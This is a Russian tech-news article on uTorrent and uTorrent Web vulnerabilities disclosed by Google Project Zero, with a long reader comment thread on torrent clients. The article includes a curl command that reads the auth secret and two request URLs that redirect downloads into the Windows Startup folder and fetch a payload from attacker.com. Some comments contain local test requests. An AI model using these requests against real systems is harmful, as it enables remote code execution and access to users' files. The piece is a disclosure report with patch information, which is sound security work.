Уязвимость в uTorrent Web позволяет загрузить произвольный файл в папку автозагрузки: демо

    В двух версиях uTorrent (под Windows и в веб-версии uTorrent Web) обнаружено несколько опасных уязвимостей, которые легко эксплуатировать. При этом они позволяют запускать произвольный код на машине, где запущен uTorrent (веб-версия); получить доступ к скачанным файлам, в том числе копировать их, просматривать историю скачиваний (веб-версия и Windows).

    Взлом возможен только если uTorrent работает с настройками по умолчанию, а именно с HTTP RPC сервером на порту 10000 (uTorrent Classic) или 19575 (веб-версия uTorrent) с активированным обработчиком /proxy/ (он активирован по умолчанию).

    Баги нашёл хакер Тэвис Орманди (Tavis Ormandy) из подразделения Project Zero в компании Google. Он разгласил информацию в баг-трекере Chromium 31 января 2018 года (через 90 дней после того, как сообщил о ней разработчикам).

    Как пишет Тэвис, любой веб-сайт может взаимодействовать с вышеуказанными RPC-серверами через программный интерфейс XMLHTTPRequest(). Это API использует запросы HTTP или HTTPS напрямую к серверу и загружает данные ответа сервера напрямую в вызывающий скрипт. Интерфейс позволяет осуществлять HTTP-запросы к серверу без перезагрузки страницы и часто используется на многих современных сайтах.

    Для взлома машины, где работает uTorrent, нужно заманить пользователя на веб-страницу, где установлен эксплоит. Это может быть совершенно любой сайт. Эксплоит через перепривязывание DNS по XMLHTTPRequest() заставляет браузер запустить скрипт, обращающийся к этому RPC-серверу.

    На демо-странице приведены примеры, какие действия может инициировать веб-сайт через интерфейс JSON RPC сервера на порту 10000. Здесь через программный интерфейс по XMLHTTPRequest() отправляются стандартные команды uTorrent.

    Тэвис пишет, что изучая разные команды uTorrent-клиенту он заметил, что в программе с настройками по умолчанию активен обработчик /proxy/, что позволяет стороннему сайту посмотреть список скачанных файлов и скопировать их. То есть по умолчанию uTorrent позволяет любому сайту проверить список скачанных вами торрентов, достаточно лишь сбрутить одно маленькое число (sid), которое присваивается каждому открытому торренту по очереди.

    Орманди сделал демо-страничку. Хакер говорит, что демка работает медленно, но если вы всё-таки хотите увидеть фокус, то сделайте следующее:

    1. Установите uTorrent с дефолтными настройками.
    2. Добавьте торрент из URL: https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent.
    3. По окончании скачивания торрента (он всего лишь 5 МБ) перейдите на страницу с демкой.
    4. Подождите несколько минут.
    (скриншот).

    По ходу изучения программы uTorrent Тэвис нашёл в ней ещё парочку багов и недостатков: например, некорректный генератор псевдослучайных чисел, отключение защиты памяти ASLR и неправильная работа в «гостевом» режиме, где должны быть отключены многие функции, а на самом деле они доступны через тот же сервер на порту 10000.

    В веб-версии уязвимость ещё жёстче, потому что там любой сторонний сайт может получить доступ к токену аутентификации, секрет которого хранится в открытой папке webroot (как и настройки, дампы, логи и др.) — это очень удивило Тэвиса Орманди.

    $ curl -si http://localhost:19575/users.conf
    HTTP/1.1 200 OK
    Date: Wed, 31 Jan 2018 19:46:44 GMT
    Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
    Etag: "5a721b0e.92"
    Content-Type: text/plain
    Content-Length: 92
    Connection: close
    Accept-Ranges: bytes

    localapi29c802274dc61fb4 bc676961df0f684b13adae450a57a91cd3d92c03 94bc897965398c8a07ff 2 1


    Получив секрет, можно дистанционно изменить директорию для скачивания и дать команду на загрузку произвольного файла. Например, загрузить вредоносный код в папку автозагрузки:

    http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

    http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent


    Рабочий эксплоит

    Разработчики из компании BitTorrent, Inc. уже выпустили патч для uTorrent под Windows. Пока что он доступен только в бета-версии uTorrent/BitTorrent 3.5.3.44352, которая в ближайшее время должна стать доступна через механизм автоматического обновления. Пользователям uTorrent Web надо обновиться на последний билд 0.12.0.502.

    uTorrent — один из самых популярных торрент-клиентов, написан на C++. Отличается небольшим размером и высокой скоростью работы при достаточно большой функциональности. Первая версия вышла 18 сентября 2005 года. Сейчас доступен в версиях для всех основных операционных систем. Количество пользователей превышает 100 млн человек. В первых версиях автор пытался зарабатывать на контекстной рекламе, потом программу купила компания BitTorrent, которая монетизировалась через навязывание тулбаров, adware и «Яндекс.Браузера» (в русскоязычной версии).
    Поделиться публикацией
    Ой, у вас баннер убежал!

    Ну. И что?
    Реклама
    Комментарии 47
    • +1
      Эхх старая версия 2.2.1 пробивается тоже.
      А что если это хитрый план разрабов по пересадке всех на новую ветку с рекламой и адварью?
      • +2
        А что если это хитрый план по пересадке всех на qBittorrent?
        • –1
          Или это заговор Tixati!
          • +1
            NO Spyware, NO Adware, NO Source Code :)
            • 0
              >NO Source Code

              Как будто в этом есть что-то плохое :-) Эта софтина пока не была скомпрометирована и оснований для подозрений нет.
          • 0
            Когда они сделают смену пути у отдельных файлов, можно будет подумать.
            • 0

              Проверил. Есть. Всё работает. Правая кнопка в разделе content на нужном файле и rename. Или вам прямо тасовать между директориями нужно?

              • 0
                а также их переименование (да, я знаю — придётся хранить оригинальное отдельно)
              • +1

                Ага, который жрёт ресурсы процессора так, что вспоминается история про криптовалюты и торрент-клиент.

                • +4

                  Вы точно про qbittorrent? У него открытый код подписанный pgp, какие там могут быть криптовалюты.


                  Может это вообще реклама SKODA-OCTAVIA?

                  • 0

                    Аналогия всплывает. Я понимаю, чтт это косяк создателей, но не знаю, на что он тратит столько процессорного времени.

                  • 0
                    Вы путаете, процессор жрут как раз последние версии uTorrent.
                    • 0
                      Так никто не заставляет использовать последние.
                      • 0

                        Не путаю. К сожалению, и web-версия, и qt-версия qbittorrent на некоторых системах используют ровно весь ресурс процессора. Баги репортят от начала веков, но всё одно.

                      • 0
                        Ровно наоборот: при переходе с uTorrent на qBittorent перестал выжираться процессор на сотне-другой раздач.
                  • 0
                    Хмм, зашел на страничку lock.cmpxchg8b.com/utorrent-crash-test.html, понажимал на кнопочки. Реакция лишь на 2: pairing request и pin request — в uTorrent действительно вылезают 2 диалога. На crash и device transfer (что это?) никакой реакции. Да, и никаких настроек этого RPC сервера я что-то не вижу. curl какие-то ошибки возвращает. Т.е. совсем не то, что в оригинальной публикации.

                    p.s. uTorrent 3.3 (build 290822) [32-bit].
                    • 0
                      Вдогонку, если в Advanced preferences поставить webui.allow_pairing в false, то и ранее работающие 2 кнопки (pairing request и pin request) перестают диалоги открывать.
                      • 0

                        Похоже, net.discoverable отключает эту фичу напрочь. Не знаю, как влияет на работу торрентов, но скачиванию и отдаче вроде не мешает.
                        P.S. Да, описание прямо говорит, что «µTorrent ожидает запросы на подключение внешних приложений на одном из предназначенных для этого портов (в настоящий момент это порт 10000)».

                        • 0
                          Вы пробовали с той же машины, где uTorrent работает, или с «соседней»?

                          Просто у меня со своей, эта опция несколько странно работает:

                          Если true (default), то запрос на pairing, при webui.allow_pairing = false отрабатывает так:

                          D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator"
                          *   Trying ::1...
                          * TCP_NODELAY set
                          *   Trying 127.0.0.1...
                          * TCP_NODELAY set
                          * Connected to localhost (127.0.0.1) port 10000 (#0)
                          > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1
                          > Host: localhost:10000
                          > User-Agent: curl/7.58.0
                          > Accept: */*
                          >
                          < HTTP/1.1 401 Unauthorized
                          < Connection: close
                          < Content-Length: 0
                          < Content-Type: text/html
                          < Cache-Control: no-cache
                          <
                          * Closing connection 0


                          А если поменять net.discoverable = false, то так:

                          D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator"
                          *   Trying ::1...
                          * TCP_NODELAY set
                          *   Trying 127.0.0.1...
                          * TCP_NODELAY set
                          * Connected to localhost (127.0.0.1) port 10000 (#0)
                          > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1
                          > Host: localhost:10000
                          > User-Agent: curl/7.58.0
                          > Accept: */*
                          >
                          < HTTP/1.1 200 OK
                          < Connection: keep-alive
                          < Content-Length: 24
                          < Content-Type: text/html
                          <
                          error('invalid request')* Connection #0 to host localhost left intact
                          


                          Т.е. локально этот дурацкий сервер не отключается.
                          • 0
                            Хмм, сразу не проверял, запустил сейчас, ответ такой:

                            * TCP_NODELAY set
                              % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                                             Dload  Upload   Total   Spent    Left  Speed
                              0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* connect to 127.0.0.1 port 10000 failed: Connection refused
                            * Failed to connect to localhost port 10000: Connection refused
                            * Closing connection 0
                            curl: (7) Failed to connect to localhost port 10000: Connection refused
                            

                            Может перезапускать надо?
                            • 0
                              Оно теперь слушает на порте для раздачи.
                      • 0
                        На всякий случай, под Windows, надо при запуске curl использовать двойные кавычки!
                      • +1
                        Скажите, а какими-то настройками нужно закрыть уязвимость?
                        • 0
                          Никакими настройками это не исправляется, нужно обновить клиент до 3.5.3. На тему «неуязвимой двушки» её автор исследования не тестировал вообще, так что там эксплуатация, возможно, требует чуть других телодвижений.

                          Bioman85 В автозапуск к текущему пользователю спокойно даст и никакого админа не нужно ;)

                          MonkAlex версии младше 2.0 мертвы, хватит насиловать труп. Фактически уже даже версии младше 3.4.0 безнадёжно мертвы для использования.
                          • 0
                            P.S. а в связи с этой уязвимостью уже и версии младше 3.5.3 не очень то пригодны. Но в принципе можно перевести клиент в «пассивный» режим закрыв ему доступ снаружи и заствив биндится на локалхост онли, а с локалхоста уже костылять в браузере, но это редкостное извращение.

                            Lordbl4 как минимум затем, что qBittorent очень кривой и до сих пор даже в symlink-и не может, не говоря уже о более высоких материях, а уж то что он на Qt вообще ужас ибо здоровенный до ужаса и выглядит и работает на любой системе как нечто инородное.

                            P.P.S
                            toster.ru/answer?answer_id=467299#answers_list_answer
                            • 0
                              MonkAlex версии младше 2.0 мертвы, хватит насиловать труп.

                              А кто их убил? Я сам до недавнего времени сидел на 1.8.2, мне было норм, но захотелось приключений.
                              • 0
                                Почитайте лог изменений в моей раздаче на Рутрекере
                                rutracker.org/forum/viewtopic.php?t=5181383
                                , копипастить его сюда гиблая затея ибо он здоровенный и обновляется часто, а на ГТ форматирование текста не работает. Если коротко, то версии младше 2.0 не поддерживают ничего из актуальных технологий, версии младше 3.x тоже имеют серьёзные проблемы, например с подключением по https, а удобства в плане использования начались с 3.2, ну а поддержка реалий современного железа так вообще начались с 3.3. Так что 1.8.2 это очень давно умершая лошадь, в которой нет вообще ничего.
                                • 0
                                  Если коротко, то версии младше 2.0 не поддерживают ничего из актуальных технологий,

                                  Что не мешает им качать и раздавать. Я сейчас как раз сижу на вашей сборке, и всю шапку прочитал, но перешёл лишь по одной причине: лучшая работа DHT, впрочем, не сильно помогло, просто вместо 250 раздач DHT помирает на 300. Всё остальное — трекеры по UDP, uTP и прочее просто мишура.
                                  Ну а тот булшит, что вы удалили, и за что вам больше спасибо, даже описывать нет нужды, вы сами всё прекрасно знаете. Если версии до 2.0 ничем кроме торрентов не занимались и не требовали в общем-то никакой обрезки, то на новые билды я без сборок подобных вашей никогда не перейду. Ещё бы узнать, как отговорить его при обновлении бинарника копировать себя в профиль, а то у меня XP с SRP и работой от ограниченной учётки, и эту его самодеятельность приходится руками исправлять, ну да ладно, не ваша вина.
                                  • 0
                                    >>Что не мешает им качать и раздавать.

                                    К сожалению мешает, проверено многими вариантами тестов на разных раздачах. Тестовый «стенд» специально был собран с равноправными условиями. В локалке за шлюзом четыре хоста с клиентами. Клиенты конфигурируются с нуля на базе конфига из моей сборки. В версии 1.8.2 дополнительно принудительно отключается uTP ибо всё равно не работает, да и bt.transp_disposition несовместим. Для всех клиентов на шлюзе пробрасываются порты для входящих соединений, а трафик с порта для LSD (local service discovery) дублируется в локалку на все 4 машины. Итоги ожидаемые, но тем не менее показательные:
                                    1.8.2 работает хуже всех, а на «сложных» (редких) раздачах может вообще иногда не находить пиров, вероятно виновато как раз отсутствие поддержки uTP ибо у некоторых транспорт по TCP отключён совсем.
                                    2.0.4, 2.2.1 и 3.2.3 с сетью работают, примерно, одинаково, но чем новее версия тем удобнее пользоваться. Однако версии младше 3.0 как то странно работают с IPv6, 1.8.2 это тоже касается.
                                    Версии старше 3.4.0 работают на порядки лучше чем любая более древняя версия, в разы быстрее начинается скачка — раздача, лучше работает приоритезация по локальным пирам и по скоростным пирам и вообще всё как то живее работает.

                                    >>лучшая работа DHT, впрочем, не сильно помогло, просто вместо 250 раздач DHT помирает на 300. Всё остальное — трекеры по UDP, uTP и прочее просто мишура.

                                    С DHT там проблема by design для очереди на анонсирование, была всё время жизни проекта. На счёт технологий не соглашусь ибо это всё слишком полезное на практике и сильно улучшает связность и интеграцию в рой, улучшения в DHT там тоже не только количественные, там много полезного из расширений добавили.

                                    >> Если версии до 2.0 ничем кроме торрентов не занимались и не требовали в общем-то никакой обрезки, то на новые билды я без сборок подобных вашей никогда не перейду.

                                    Пожалуйста, с булшитом всё конечно грустно, а сборку как раз для того и делаю чтобы больше народу могло спокойно использовать свежую версию именно торрент клиента, а не нечто похожее на Nero или ACDSee на закате их популярности.

                                    >> Ещё бы узнать, как отговорить его при обновлении бинарника копировать себя в профиль

                                    В целом, если обновлять его руками, т. е. заменой exe файла, то ничего никуда не копируется, ну точнее делается резервная копия предыдущего экзешника рядом с настройками, но запускать его нет нужды.
                          • 0
                            С включенным IAC и при запуске не от администратора в автозапуск ничего скачать не даст, чтобы оно не делало.Просто туда доступа не будет.
                            • +6
                              кому нужны эти ваши uТорренты, когда есть qBittorent?
                              • 0
                                ага, это открытие года для меня стало
                                • 0
                                  А есть простой способ туда «библиотеку» перенести из uTorrent'а? Желательно с историей. Я помню, когда перетаскивал файлы с диска C на диск D, так и то какой-то утилитой пользовался. А тут как?
                                  • 0
                                    статистику — врятли, а раздачи легко. в настройках указываем папку для загрузок, перемещаем туда файлы и добавляем torrent-файлы. пройдёт проверка уже имеющихся файлов и начнётся раздача
                                    • 0
                                      Спасибо. Но вот статистику жалко.
                                    • 0
                                      К величайшему сожалению это так не работает. Например, у меня в клиенте раздачи с 2007 года и многое там переименовано и переложено, как в корне раздач так и глубоко внутри, в сумме это уже около 10 ТБ на 2 серверах в локалке и всё в одном клиенте. Всё вот это невозможно на текущий момент автоматически перенести из uTorrent в qBittorent, а из-за этого я даже qBittorent протестировать не могу ибо абсолютно не понятно даже сдохнет он сразу же после запуска с такими объёмами или нет.

                                      и для Andy_U тоже.
                                  • 0
                                    qBittorent может внезапно перестать скачивать с определенного трекера и ничего с этим нельзя будет поделать, приходится возвращаться.
                                    • 0
                                      пользуюсь с первого релиза, никогда таких проблем не замечал. сиды могут пропадать в том числе и из-за роскомпозора. настройка обхода блокировок дело рук самих пользователей.
                                    • 0

                                      Что они запихнули в дистрибутив? uTorrent со всей блоатварью весит в 10 раз меньше.

                                    • 0
                                      У qBittorrent, к сожалению, есть пучок неприятных проблем.
                                      С версии 3.3.11 есть глюки в работе с прокси.
                                      С версии 4.0.0 появилось бешеное использование диска (пофикшено в недавно вышедшей 4.0.4) и периодические странные отвалы задач — не запускаются сами при запуске программы или не анонсируются (вроде не пофикшено).
                                      Кроме того, у него иногда странная логика выбора пиров и приоритетов — там, где uTorrent спокойно подключается к локальным пирам на большой скорости, qB их либо не видит, либо качает с них почему-то очень медленно.
                                    • –1
                                      Уязвимость SuperHole v. 666 от 2045 года:
                                      1. Скачайте дистрибутив эксплойта SuperHole v. 666 с официального сайта! (не доверяйте другим сайтам, в сети много подделок), только скачивая данную уязвимость с нашего сайта вы получаете её гарантированно.
                                      2. Отключите файрволл и антивирус
                                      3. Запустите установщик от имени администратора, примите лицензионное соглашение.
                                      4. Дождитесь окончания установки
                                      Поздравляем, вы установили уязвимость SuperHole 666 на ваше устройство.

                                      Теперь о том, как её закрыть:
                                      1. Скачайте Anti-SuperHole v. 667 с официального сайта…
                                      • 0
                                        Если есть noscript — то он заблокирует обращение к портам локалхоста.
                                        • 0
                                          А вот uMatrix обманывается… Хоть автору пиши.
                                        • 0
                                          А если у меня 1.8.2 без всяких настроек — меня касается?
                                          • 0
                                            Уже почти не скачивают, все онлайн. Кроме прог конечно.

                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                            Самое читаемое